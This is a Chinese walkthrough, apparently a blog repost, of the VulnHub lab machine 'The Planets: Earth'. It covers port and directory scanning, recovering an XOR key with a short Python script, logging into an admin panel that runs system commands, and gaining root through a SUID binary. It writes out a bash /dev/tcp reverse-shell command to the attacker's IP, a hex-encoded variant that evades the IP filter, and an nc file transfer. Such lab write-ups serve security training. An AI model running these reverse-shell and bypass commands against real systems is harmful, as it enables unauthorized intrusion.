Vulnhub 靶場 THE PLANETS: EARTH


前期准備:
靶機下載:https://www.vulnhub.com/entry/the-planets-earth,755/#download

kali攻擊機ip:192.168.11.129
靶機地址:192.168.11.136

一、信息收集

1.使用arp-scan確認靶機地址

arp-scan -l

image

2.使用nmap掃描靶機開放的端口

nmap -A -p 1-65535 192.168.11.136

image

發現443端口有DNS解析,在hosts文件中添加DNS解析:

image

3.收集earth.local信息

image

發現有Previous Messages

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

接下來掃描一下目錄:

image

發現 https://earth.local/admin 目錄

image

是個登錄界面。

4.收集terratest.earth.local信息

image

掃描一下目錄:

image

發現有robots.txt文件,查看一下:

image

發現有個testingnotes文件,但是不知道是圖中的哪種格式,手動測試后發現是txt格式,訪問testingnotes.txt

image

測試安全消息系統注意事項:
*使用XOR加密作為算法,在RSA中使用應該是安全的。
*地球已確認他們已收到我們發送的信息。
*testdata.txt 用於測試加密。
*terra 用作管理門戶的用戶名。
去做:
*我們如何安全地將每月的密鑰發送到地球? 或者我們應該每周更換鑰匙?
*需要測試不同的密鑰長度以防止暴力破解。 鑰匙應該多長時間?
*需要改進消息界面和管理面板的界面,目前非常基礎。

這里我們得到了新的信息,加密算法是 XOR,並且有一個testdata.txt文檔用於測試加密,用戶名是terra,先訪問testdata.txt並保存:

image

二、漏洞攻擊

1.破解密碼

寫個簡單py腳本,選一個Previous Messages數據,然后與 testdata.txt 進行一下 XOR 運算,得到密鑰

import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

運行后得到以下數據:

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

十六進制轉文本解碼一下:

image

密碼是重復的,然后使用用戶名 terra ,密碼:earthclimatechangebad4humans 登錄 https://earth.local/admin

image

2.user_flag

發現可以執行系統命令:

image

使用find命令查找flag:

find / -name "*flag*"

image

發現/var/earth_web/user_flag.txt文件,查看一下:

image

發現 user_flag_3353b67d6437f07ba7d34afd7d2fc27d

3.使用反彈shell連接到靶機

接下來編寫個反彈shell:

bash -i >& /dev/tcp/192.168.11.129/1234 0>&1

image

發現禁止遠程連接,看了別人的發現需要對IP進行16進制繞過:

bash -i >& /dev/tcp/0xc0.0xa8.0x0b.0x81/1234 0>&1

image

連接成功。

三、提權

查找有權限的命令:

find / -perm -u=s -type f 2>/dev/null

image

發現有個/usr/bin/reset_root,感覺可以提權,查看一下:

image

運行一下reset_root:

image

發現報錯:

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

檢查是否存在重置觸發器...
重置失敗,所有觸發器都不存在。

本地沒有調試的命令,使用nc傳送到本地調試一下

nc -nlvp 1234 >reset_root

nc 192.168.11.129 1234 < /usr/bin/reset_root

image

使用 strace 命令進行調試

image

因為沒有以下三個文件而報錯,查看靶機發現也沒有這三個文件:

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (沒有那個文件或目錄)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (沒有那個文件或目錄)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (沒有那個文件或目錄)

image

在靶機中創建這三個文件:

image

然后再靶機中嘗試運行reset_root:

image

取得root權限,查找flag:

image

root_flag_b0da9554d29db2117b02aa8b66ec492e


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM